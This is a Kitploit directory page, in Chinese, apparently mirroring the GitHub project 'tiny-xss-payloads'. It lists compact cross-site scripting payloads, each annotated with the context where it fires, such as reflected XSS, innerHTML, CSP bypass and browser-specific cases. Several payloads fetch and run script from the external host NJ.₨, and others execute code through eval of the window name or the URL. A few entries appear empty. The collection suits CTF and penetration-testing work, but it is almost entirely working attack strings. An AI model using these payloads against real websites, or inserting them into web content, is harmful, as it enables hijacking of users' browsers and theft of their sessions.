Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Tiny-XSS-Payloads — 一系列可在不同上下文中使用的小型XSS Payload。https://tinyxss.terjanq.me | Kitploit
工具/GitHubGitHub/terjanq/tiny-xss-payloads
Payload生成Web安全CTF精选资源
GitHubterjanq/tiny-xss-payloads

Tiny-XSS-Payloads

一系列可在不同上下文中使用的小型XSS Payload。https://tinyxss.terjanq.me

查看仓库网站
2.4k21841年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Tiny-XSS-Payloads

一个可在不同上下文中使用的短XSS有效载荷集合。

演示地址:https://tinyxss.terjanq.me

当前有效载荷

root@kitploit:~
<!-- Requires a relative script inserted to the DOM after the sink, 
  e.g. <base/href=//NJ.₨> ... <script src=/aaa></script> -->
<base/href=//NJ.₨>
root@kitploit:~
<!-- Only works as reflected XSS -->
<svg/onload=eval(name)>
root@kitploit:~
<!-- If you control the URL -->
<svg/onload=eval(`'`+URL)>
root@kitploit:~
<!-- If you control the name, but unsafe-eval not enabled -->
<svg/onload=location=name>
root@kitploit:~
<!-- In chrome, also works inside innerHTML, even on elements not yet inserted into DOM -->
<svg><svg/onload=eval(name)>
root@kitploit:~
<!-- If you control window's name, this payload will work inside innerHTML, even on elements not yet inserted into the DOM -->
<audio/src/onerror=eval(name)>
root@kitploit:~
<!-- If you control the URL, this payload will work inside innerHTML, even on elements not yet inserted into the DOM -->

root@kitploit:~
<!-- Just a casual script -->
<script/src=//NJ.₨></script>
root@kitploit:~
<!-- If you control the name of the window -->

root@kitploit:~
<!-- If you control the URL -->

root@kitploit:~
<!-- If number of iframes on the page is constant -->

root@kitploit:~
<!-- for Firefox only -->
<script/href=//NJ.₨ />">
root@kitploit:~
<!-- If number of iframes on the page is random -->

root@kitploit:~
<!-- If unsafe-inline is disabled in CSP and external scripts allowed -->
</script>">
root@kitploit:~
<!-- If inline styles are allowed -->
<style/onload=eval(name)>
root@kitploit:~
<!-- If inline styles are allowed and the URL can be controlled -->
<style/onload=eval(`'`+URL)>
root@kitploit:~
<!-- If inline styles are blocked -->
<style/onerror=eval(name)>
root@kitploit:~
<!-- Uses external script as import, doesn't work in innerHTML -->
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<svg/onload=import(/\\NJ.₨/)>
root@kitploit:~
<!-- Uses external script as import,  triggers if inline styles are allowed.
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<style/onload=import(/\\NJ.₨/)>
root@kitploit:~
<!-- Uses external script as import -->
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->

已弃用:

root@kitploit:~
<!-- If you control the URL, Safari-only -->

root@kitploit:~
<!-- If inline styles are allowed, Safari only -->
<style/onload=write(URL)>
下载工具